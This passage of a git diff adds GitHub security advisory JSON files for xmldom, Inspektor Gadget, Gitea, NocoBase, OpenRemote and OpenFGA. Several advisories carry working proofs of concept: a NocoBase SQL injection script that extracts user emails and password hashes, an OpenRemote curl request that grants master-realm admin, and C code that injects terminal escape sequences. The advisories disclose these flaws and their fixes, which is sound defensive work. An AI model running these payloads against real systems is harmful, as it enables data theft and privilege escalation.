18, default stack): ~5,000 levels.\n\n### Additional recursive entry points\n\nAll five crash at ~10,000 levels on Node.js 18.\n\n| Function | Definition | Public API entry point(s) | Crash depth (Node.js 18) |\n|-----------------------------|----------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------|--------------------------|\n| `_visitNode` | [`lib/dom.js:1529`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1529) | `getElementsByTagName()`, `getElementsByTagNameNS()`, `getElementsByClassName()`, `getElementById()` | ~10,000 levels |\n| `cloneNode` (module fn) | [`lib/dom.js:3037`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3037) | `Node.prototype.cloneNode(true)` | ~10,000 levels |\n| `importNode` (module fn) | [`lib/dom.js:2975`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2975) | `Document.prototype.importNode(node, true)` | ~10,000 levels |\n| `getTextContent` (inner fn) | [`lib/dom.js:3130`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3130) | `node.textContent` (getter) | ~10,000 levels |\n| `isEqualNode` | [`lib/dom.js:1120`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1120) | `Node.prototype.isEqualNode(other)` | ~10,000 levels |\n\nBoth active branches (`main` and `release-0.8.x`) are identically affected. The unscoped `xmldom`\npackage (≤ 0.6.0) carries the same recursive patterns from its initial commit.\n\n### Browser behavior\n\nTested with Chromium 147 (Playwright headless). Chromium's native C++ implementations of all\nseven DOM methods are **iterative** — they traverse the DOM without consuming JS call stack frames.\nAll seven succeed at depths up to 20,000 without any crash.\n\nWhen `@xmldom/xmldom` is bundled and run in a browser context the same recursive JS code executes\nunder the browser's V8 stack limit (~12,000–13,000 frames). The crash thresholds are similar to\nthose observed on Node.js 18 (~5,000 for `serializeToString`, ~10,000 for the remaining six).\n\nThe vulnerability is specific to xmldom's pure-JavaScript recursive implementation, not an\ninherent property of the DOM operations.\n\n---\n\n## PoC\n\n### `normalize()` (from @praveen-kv report, 2026-04-05)\n\n```js\nconst { DOMParser } = require('@xmldom/xmldom');\n\nfunction generateNestedXML(depth) {\n return '' + ''.repeat(depth) + 'text' + ''.repeat(depth) + '';\n}\n\nconst doc = new DOMParser().parseFromString(generateNestedXML(10000), 'text/xml');\ndoc.documentElement.normalize();\n// RangeError: Maximum call stack size exceeded\n```\n\n### `XMLSerializer.serializeToString()` (from GHSA-2v35-w6hq-6mfw)\n\n```js\nconst { DOMParser, XMLSerializer } = require('@xmldom/xmldom');\n\nconst depth = 5000;\nconst xml = ''.repeat(depth) + ''.repeat(depth);\nconst doc = new DOMParser().parseFromString(xml, 'text/xml');\nnew XMLSerializer().serializeToString(doc);\n// RangeError: Maximum call stack size exceeded\n```\n\nThe other methods have been verified using similar pocs.\n\n---\n\n## Impact\n\nAny service that accepts attacker-controlled XML and subsequently calls any of the seven affected\nDOM operations can be forced into a reliable denial of service with a single crafted payload.\n\nThe immediate result is an uncaught `RangeError` and failed request processing. In deployments\nwhere uncaught exceptions terminate the worker or process, the impact can extend beyond a single\nrequest and disrupt service availability more broadly.\n\nNo authentication, special options, or invalid XML is required. A valid, deeply nested XML\ndocument is enough.\n\n---\n\n## Disclosure\n\nThe `normalize()` vector was publicly disclosed at 2026-04-06T11:25:07Z via\n[xmldom/xmldom#987](https://github.com/xmldom/xmldom/pull/987) (closed without merge).\n`serializeToString()` and the five additional recursive entry points were not mentioned in that PR.\n\n---\n\n## Fix Applied\n\nAll seven affected traversals have been converted from recursive to iterative implementations, eliminating call-stack consumption on deep trees.\n\n### `walkDOM` utility\n\nA new `walkDOM(node, context, callbacks)` utility is introduced. It traverses the subtree rooted at `node` in depth-first order using an explicit JavaScript array as a stack, consuming heap memory instead of call-stack frames. `context` is an arbitrary value threaded through the walk — each `callbacks.enter(node, context)` call returns the context to pass to that node's children, enabling per-branch state (e.g. namespace snapshots in the serializer). `callbacks.exit(node, context)` (optional) is called in post-order after all children have been visited.\n\nThe following six operations are re-implemented on top of `walkDOM`:\n\n| Operation | Public entry point(s) |\n|---|---|\n| `_visitNode` helper | `getElementsByTagName()`, `getElementsByTagNameNS()`, `getElementsByClassName()`, `getElementById()` |\n| `getTextContent` inner function | `node.textContent` getter |\n| `cloneNode` module function | `Node.prototype.cloneNode(true)` |\n| `importNode` module function | `Document.prototype.importNode(node, true)` |\n| `serializeToString` worker | `XMLSerializer.prototype.serializeToString()`, `Node.prototype.toString()`, `NodeList.prototype.toString()` |\n| `normalize` | `Node.prototype.normalize()` |\n\n`normalize` uses `walkDOM` with a `null` context and an `enter` callback that merges adjacent Text children of the current node before `walkDOM` reads and queues those children — so the surviving post-merge children are what the walker descends into.\n\n### Custom iterative loop for `isEqualNode`\n\nOne function cannot use `walkDOM`:\n\n**`Node.prototype.isEqualNode(other)`** (0.9.x only; absent from 0.8.x) compares two trees in parallel. It maintains an explicit stack of `{node, other}` node pairs — one node from each tree — which cannot be expressed with `walkDOM`'s single-tree visitor.\n\n### After the fix\n\nAll seven entry points succeed on trees of arbitrary depth without throwing `RangeError`. The original PoCs still demonstrate the vulnerability on unpatched versions and confirm the fix on patched versions.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@xmldom/xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.8.13" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "@xmldom/xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.9.0" + }, + { + "fixed": "0.9.10" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84" + }, + { + "type": "PACKAGE", + "url": "https://github.com/xmldom/xmldom" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-674" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:23:57Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json b/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json new file mode 100644 index 0000000000000..6742c12d436c5 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-34r5-6j7w-235f", + "modified": "2026-04-22T18:50:32Z", + "published": "2026-04-22T18:50:32Z", + "aliases": [ + "CVE-2026-25996" + ], + "summary": "Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode", + "details": "### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \" sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n --name \"${CONTAINER_NAME}\" \\\n -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n gcc:latest \\\n bash -c \"\n gcc -o /tmp/escape_inject /src/escape_inject.c && \\\n /tmp/escape_inject\n \"\n```\n\nescape_inject.c\n```c\n#include \n#include \n#include \n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/inspektor-gadget/inspektor-gadget" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.49.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25996" + }, + { + "type": "WEB", + "url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2" + }, + { + "type": "PACKAGE", + "url": "https://github.com/inspektor-gadget/inspektor-gadget" + }, + { + "type": "WEB", + "url": "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-150" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T18:50:32Z", + "nvd_published_at": "2026-02-12T21:16:02Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json b/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json new file mode 100644 index 0000000000000..47546d7020584 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json @@ -0,0 +1,56 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3m6q-h5gj-7mrw", + "modified": "2026-04-22T20:37:21Z", + "published": "2026-04-22T20:37:21Z", + "aliases": [], + "summary": "Gitea has insecure default SSH settings", + "details": "## Summary\n\nThe built-in SSH server currently advertises a number of key exchange, MAC, and host key algorithms that are considered weak or broken. The defaults should be tightened so a fresh installation passes a baseline SSH security audit out of the box.\n\n## Details\n\nRunning `ssh-audit` against a default deployment flags the following as `fail`:\n\n- **Key exchange**\n - `ecdh-sha2-nistp256`\n - `ecdh-sha2-nistp384`\n - `ecdh-sha2-nistp521`\n- **MAC**\n - `hmac-sha1`\n- **Host key**\n - `ssh-rsa`\n\n## Reproduction\n\n```sh\ndocker run -it --rm positronsecurity/ssh-audit -p 2222 gitea.local\n```\n\n## Impact\n\nDefault deployments expose algorithms that are known-weak or deprecated upstream. The current workaround requires manually setting several `GITEA__server__SSH_SERVER_*` variables, which most users will never do.\n\n### Workaround\n\n```ini\n[server]\nSSH_SERVER_KEY_EXCHANGES = curve25519-sha256, diffie-hellman-group14-sha256\nSSH_SERVER_CIPHERS = chacha20-poly1305@openssh.com, aes128-ctr, aes192-ctr, aes256-ctr, aes128-gcm@openssh.com, aes256-gcm@openssh.com\nSSH_SERVER_MACS = hmac-sha2-256-etm@openssh.com, hmac-sha2-256\n```\n\nThere is no exposed option to restrict host key algorithms, so `ssh-rsa` remains advertised.\n\n## Acceptance criteria\n\n- [ ] Default `SSH_SERVER_KEY_EXCHANGES`, `SSH_SERVER_CIPHERS`, and `SSH_SERVER_MACS` updated to the secure list above.\n- [ ] New `SSH_SERVER_HOST_KEY_ALGORITHMS` option added, with a default that excludes `ssh-rsa`.\n- [ ] Documentation updated to reflect the new defaults.\n- [ ] `ssh-audit` against a fresh install reports no `[fail]` entries.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "code.gitea.io/gitea" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.25.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-3m6q-h5gj-7mrw" + }, + { + "type": "PACKAGE", + "url": "https://github.com/go-gitea/gitea" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1188", + "CWE-327" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:37:21Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json b/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json new file mode 100644 index 0000000000000..7c27c543a0e74 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4948-f92q-f432", + "modified": "2026-04-22T20:09:02Z", + "published": "2026-04-22T20:09:02Z", + "aliases": [ + "CVE-2026-41640" + ], + "summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading", + "details": "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n db: Database;\n nodeIds: any[];\n collection: Collection;\n foreignKey: string;\n targetKey: string;\n}) => {\n const { collection, db, nodeIds } = options;\n const tableName = collection.quotedTableName();\n const { foreignKey, targetKey } = options;\n const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n const queryInterface = db.sequelize.getQueryInterface();\n const q = queryInterface.quoteIdentifier.bind(queryInterface);\n return `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}') // <-- INJECTION\n UNION ALL\n SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n FROM ${tableName} AS t\n INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n )\n SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n const targetKey = association.targetKey;\n const sql = queryParentSQL({\n db: this.db, collection, foreignKey, targetKey,\n nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n });\n const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n WITH RECURSIVE cte AS (\n SELECT \"id\", \"parentId\" FROM \"table\"\n WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')\n UNION ALL\n SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n ]}'\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"id\":\"root\",\"title\":\"Root\"}'\n\n# 3. Create injection parent — error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}\npayload_id = \\\"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\\\"\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': payload_id, 'title': 'x'})\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': 'child', 'title': 'c', 'parentId': payload_id})\nr = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,\n params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n# ^^^^^^^^^^^^^^^^^^^^^^^\n# Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|':'||substring(password,1,16), ' \\| ') FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n ```javascript\n const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n const sql = `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (${placeholders})\n UNION ALL\n ...\n ) SELECT ... FROM cte`;\n return { sql, bind: nodeIds };\n ```\n Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@nocobase/database" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.39" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432" + }, + { + "type": "WEB", + "url": "https://github.com/nocobase/nocobase/pull/9133" + }, + { + "type": "WEB", + "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nocobase/nocobase" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:09:02Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json b/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json new file mode 100644 index 0000000000000..743b6c0778ab4 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-49vv-25qx-mg44", + "modified": "2026-04-22T14:38:23Z", + "published": "2026-04-22T14:38:23Z", + "aliases": [ + "CVE-2026-41166" + ], + "summary": "OpenRemote has Improper Access Control via updateUserRealmRoles function", + "details": "### Summary\nA user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm.\n\n### Details\nIn `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they're trying to update.\n\n```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java\n @Override\n public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {\n try {\n identityService.getIdentityProvider().updateUserRealmRoles(\n realm,\n userId,\n roles);\n } catch (ClientErrorException ex) {\n ex.printStackTrace(System.out);\n throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());\n } catch (Exception ex) {\n throw new WebApplicationException(ex);\n }\n }\n```\n\n### PoC\n1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).\n2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (``).\n3. Authenticate as the user from step 1 and obtain a Bearer access token (``) for `NEW_REALM`.\n4. Replace placeholders and run:\n```bash\ncurl -k -X PUT \"https:///api//user/master/userRealmRoles/\" \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '[\"admin\"]'\n```\n5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.\n### Impact\nAn attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.openremote:openremote-manager" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.22.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44" + }, + { + "type": "PACKAGE", + "url": "https://github.com/openremote/openremote" + }, + { + "type": "WEB", + "url": "https://github.com/openremote/openremote/releases/tag/1.22.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:38:23Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json b/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json new file mode 100644 index 0000000000000..8b5294c796a10 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-57j5-qwp2-vqp6/GHSA-57j5-qwp2-vqp6.json @@ -0,0 +1,66 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-57j5-qwp2-vqp6", + "modified": "2026-04-22T19:43:36Z", + "published": "2026-04-22T19:43:36Z", + "aliases": [ + "CVE-2026-41131" + ], + "summary": "OpenFGA has Improper Policy Enforcement", + "details": "### Description\nIn OpenFGA, in specific scenarios, models using conditions with caching enabled can result in two different check requests producing the same cache key. This could result in OpenFGA reusing an earlier cached result for a subsequent request.\n\n### Am I Affected?\nUsers are affected if their applications meet the following preconditions:\n\n* The model has relations which rely on condition evaluation.\n* Caching is enabled.\n\n### Fix\nUpgrade to OpenFGA v1.14.1.\n\n### Acknowledgement\nOpenFGA would like to thank @bugbunny-research for the detailed report.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/openfga/openfga" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.14.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/openfga/openfga/security/advisories/GHSA-57j5-qwp2-vqp6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41131" + }, + { + "type": "PACKAGE", + "url": "https://github.com/openfga/openfga" + }, + { + "type": "WEB", + "url": "https://github.com/openfga/openfga/releases/tag/v1.14.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863", + "CWE-706" + ], + 